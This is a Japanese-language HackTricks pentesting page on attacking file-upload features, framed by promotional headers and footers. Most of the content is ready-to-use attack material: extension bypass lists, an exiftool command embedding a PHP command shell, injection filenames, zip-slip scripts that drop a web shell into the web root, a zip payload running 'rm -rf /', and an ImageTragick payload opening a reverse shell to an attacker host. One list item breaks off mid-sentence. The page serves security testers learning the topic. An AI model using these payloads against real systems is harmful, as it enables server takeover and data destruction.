hacktricks/pentesting-web/file-upload.md

297 lines
24 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
</details>
# ファイルのアップロード一般的な方法論
1. **ダブル拡張子**を持つファイルをアップロードしてみてください_file.png.php_または_file.png.php5_
* PHPの拡張子_.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
* ASPの拡張子_.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
2. 拡張子の一部を**大文字**にしてみてください。例_.pHp, .pHP5, .PhAr ..._
3. **ダブル(またはそれ以上の)拡張子**をアップロードしてみてください(特定の拡張子が存在するかどうかをテストするミス構成のチェックをバイパスするのに役立ちます):
1. _file.png.php_
2. _file.png.txt.php_
4. **逆ダブル拡張子**をアップロードしてみてくださいApacheのミス構成を悪用するのに役立ちます。拡張子_.php_であるが、必ずしも.phpで終わるわけではない場合にコードが実行されます
*file.php.png
5. **ヌル文字**を使用したダブル拡張子:
1.file.php%00.png
6. 拡張子の**末尾に特殊文字を追加**してください:%00、%20、複数のドット....
1. _file.php%00_
2. _file.php%20_
3. _file.php...... --&gt; Windowsでは、ファイルが末尾にドットで作成されると、それらは削除されます.phpという拡張子をチェックするフィルタをバイパスできます
4. _file.php/_
5. _file.php.\_
7. **Content-Type**ヘッダの**値**を設定することで、**Content-Type**のチェックをバイパスしてください_image/png_、_text/plain_、_application/octet-stream_
8. **マジックナンバーチェック**をバイパスするために、ファイルの先頭に**実際の画像のバイト**を追加してください_file_コマンドを混乱させます。または、シェルを**メタデータ**に挿入します:`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
1. ファイル内のどこにでもそれらを設定できるため、**マジックバイト**がファイルで**チェックされている**可能性もあります。
9. **Windows**の**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入されます。その結果、サーバー上に禁止された拡張子の**空のファイル**が作成されます「file.asax:.jpg」。このファイルは、その後他のテクニックを使用して編集することができます。たとえば、その短いファイル名を使用することができます。また、「**::$data**」パターンを使用して空でないファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります「file.asp::$data.」)。
10. 許可された拡張子_png_でバックドアを**アップロード**し、バックドアが実行される**ミス構成**を祈ります。
11. 既にアップロードされたファイルを**リネーム**するための脆弱性を見つけてください(拡張子を変更するため)。
12. **ローカルファイルインクルージョン**の脆弱性を見つけて、バックドアを実行してください。
13. **可能な情報漏洩**
1. **同じ名前**の**同じファイル**を**複数回****同時に**)アップロードします。
2. **既に存在するファイル**または**フォルダ**の**名前**を持つファイルをアップロードします。
3. **“.”、“..”、“…”**を名前とするファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」のファイル名は「/www/」ディレクトリに「uploads」という名前のファイルを作成します。
4. **NTFS**で**削除が容易でない**ファイルをアップロードします。例:「…:.jpg」Windows
5. 名前に`|<>*?”`などの**無効な文字**を含む**Windows**でのファイルのアップロードWindows
6. **CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9**などの**予約済み(禁止)名**を使用して**Windows**にファイルを
`.phar`ファイルは、Javaの`.jar`のようなものですが、PHP用です。PHPで実行したり、スクリプト内でインクルードしたりすることができます。
`.inc`拡張子は、ファイルをインポートするためだけに使用されることがありますので、ある時点で、誰かがこの拡張子を実行できるようにしている可能性があります。
BurpSuitプラグインを使用して、多くの可能なファイルアップロードの脆弱性をチェックしてください。[https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)または、アップロードできるファイルを見つけ、さまざまなトリックを試してコードを実行するコンソールアプリケーションを使用してください。[https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
## **wgetファイルアップロード/SSRFトリック**
場合によっては、サーバーがファイルをダウンロードするために`wget`を使用しており、URLを指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、このチェックはバイパスできます。
Linuxでのファイル名の最大長は255ですが、`wget`はファイル名を236文字に切り詰めます。"A"\*232+".php"+".gif"という名前のファイルをダウンロードすることができます。このファイル名はチェックをバイパスします(この例では".gif"が有効な拡張子です)。ただし、`wget`はファイルを"A"\*232+".php"という名前に変更します。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意してください。このチェックをバイパスするために考えている**別のオプション**は、**HTTPサーバーを別のファイルにリダイレクト**させることです。そのため、初期のURLはチェックをバイパスし、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。**wgetがパラメータ**`--trust-server-names`**を使用している場合を除いて、これは機能しません**。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
# ファイルアップロードから他の脆弱性へ
* **ファイル名**を`../../../tmp/lol.png`に設定し、**パストラバーサル**を試みる
* **ファイル名**を`sleep(10)-- -.jpg`に設定し、**SQLインジェクション**を達成することができるかもしれません
* **ファイル名**を`<svg onload=alert(document.comain)>`に設定して、XSSを達成する
* **ファイル名**を`; sleep 10;`に設定して、いくつかのコマンドインジェクションをテストする(詳細は[こちらのコマンドインジェクションのトリック](command-injection.md)を参照)
* [画像svgファイルのアップロードにおける**XSS**](xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS**ファイルの**アップロード**+**XSS** = [**Service Workers**の悪用](xss-cross-site-scripting/#xss-abusing-service-workers)
* [svgアップロードにおける**XXE**](xxe-xee-xml-external-entity.md#svg-file-upload)
* [svgファイルのアップロードによる**オープンリダイレクト**](open-redirect.md#open-redirect-uploading-svg-files)
* [有名な**ImageTrick**の脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* ウェブサーバーに画像を取得させることができる場合、[SSRF](ssrf-server-side-request-forgery.md)を悪用することができます。この**画像**がいくつかの**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
以下は、アップロードによって達成できる10のことのトップ10リストです[リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
1. **ASP / ASPX / PHP5 / PHP / PHP3**Webシェル / RCE
2. **SVG**格納型XSS / SSRF / XXE
3. **GIF**格納型XSS / SSRF
4. **CSV**CSVインジェクション
5. **XML**XXE
6. **AVI**LFI / SSRF
7. **HTML / JS**HTMLインジェクション / XSS / オープンリダイレクト
8. **PNG / JPEG**ピクセルフラッド攻撃DoS
9. **ZIP**LFI経由のRCE / DoS
10. **PDF / PPTX**SSRF / BLIND XXE
# ZIPファイルの自動解凍アップロード
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます
## シンボリックリンク
他のファイルへのシンボリックリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスできます:
```text
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
## 異なるフォルダに解凍する
解凍されたファイルは予期しないフォルダに作成されます。
OSレベルのコマンド実行からの保護を提供すると簡単に思われるかもしれませんが、残念ながらこれは真実ではありません。ZIPアーカイブ形式は階層的な圧縮をサポートしており、上位ディレクトリを参照することもできるため、対象アプリケーションの解凍機能を悪用することで安全なアップロードディレクトリから脱出することができます。
この種のファイルを作成するための自動化されたエクスプロイトはこちらで見つけることができます: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
```python
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
以下は、悪意のあるzipファイルを作成するためのPythonコードです
```python
import zipfile
def create_malicious_zip(file_path, content):
with zipfile.ZipFile(file_path, 'w') as zip_file:
zip_file.writestr('../malicious_script.py', content)
malicious_content = '''
import os
os.system('rm -rf /')
'''
create_malicious_zip('malicious.zip', malicious_content)
```
このコードは、`create_malicious_zip`という関数を使用して、指定されたファイルパスに悪意のあるzipファイルを作成します。`malicious_content`変数には、悪意のあるスクリプトが含まれています。このスクリプトは、`rm -rf /`コマンドを実行し、システム上のすべてのファイルを削除します。
このコードを実行すると、`malicious.zip`という名前のzipファイルが作成され、その中に`../malicious_script.py`という名前のファイルが含まれます。このファイルは、悪意のあるスクリプトを実行するためのものです。
この悪意のあるzipファイルをアップロードされたファイルとして処理する場合、悪意のあるスクリプトが実行される可能性があるため、注意が必要です。
```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
def create_zip():
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
リモートコマンド実行を達成するために、以下の手順を実行しました:
1. PHPシェルを作成します
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. 「ファイルスプレー」と呼ばれる手法を使用し、圧縮されたzipファイルを作成します:
```text
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
3. ヘックスエディタまたはviを使用して、「xxA」を「../」に変更します。私はviを使用しました
```text
:set modifiable
:%s/xxA/..\//g
:x!
```
完了したのはあと1ステップだけですZIPファイルをアップロードし、アプリケーションに解凍させます成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが作成されます
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
**参考**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
## 別の名前で解凍する
アプリケーションによっては、zipファイル内の拡張子をチェックしてファイルの読み込みをブロックする場合があります。この検証が表面的で、つまりローカルフィールドヘッダー内のファイル名をチェックするだけの場合、解凍後に別の拡張子を持つファイルをアプリケーションに信じさせることで回避することができます。
前のスクリプトを再利用して、zipファイルを作成することができます。
```python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
注意してください。名前にはスペースが含まれています。今、生成されたzipファイルをヘックスエディタで編集し、中央ディレクトリヘッダ内のフィールド名をヌルバイト`00`で置き換えることができます。
```bash
# before changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
# after changing the name of the file inside the Central Directory header
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
```
アプリケーションがzip内のファイルのファイル名をチェックする場合、このチェックに使用される名前は、ローカルファイルヘッダーの名前ですが、**zipが暗号化されている場合は適用されません**pkzipの仕様を参照。ファイルを保存するために使用される名前は、7zまたはunzipが2つの名前の間に違いを見つける場合、中央ディレクトリヘッダーの名前になります。ヌルバイトのおかげで、名前は`shell.php`になります。
解凍された場合:
```bash
7z e poc.zip
ls
shell.php
```
**参考文献**:
[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
[https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
# ImageTragic
このコンテンツを画像の拡張子でアップロードして、脆弱性 **\(ImageMagick , 7.0.1-1\)** を悪用します。
```text
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
# PGNにPHPシェルを埋め込む
IDATチャンクにウェブシェルを配置する主な理由は、リサイズおよび再サンプリング操作をバイパスできるためです。PHP-GDには、これを行うための2つの関数、[imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php)と[imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)が含まれています。
この記事を読んでください:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
# ポリグロットファイル
セキュリティの文脈でのポリグロットとは、複数の異なるファイルタイプの有効な形式であるファイルのことを指します。例えば、[GIFAR](https://en.wikipedia.org/wiki/Gifar)はGIFファイルとRARファイルの両方です。また、GIFとJSの両方、PPTとJSの両方など、複数のフォーマットであるファイルも存在します。
ポリグロットファイルは、ファイルタイプに基づく保護をバイパスするためによく使用されます。ユーザーが危険なファイルJSファイル、PHPファイル、Pharファイルなどをアップロードすることを防ぐために、多くのアプリケーションは特定のタイプJPEG、GIF、DOCなどのみのアップロードを許可します。
これにより、複数の異なる形式のフォーマットに準拠したファイルをアップロードできます。JPEGのように見えるが、実際にはPHARファイルPHp ARchiveであるファイルをアップロードすることができます。ただし、有効な拡張子が必要であり、アップロード機能が許可しない場合は役に立ちません。
詳細はこちら:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details>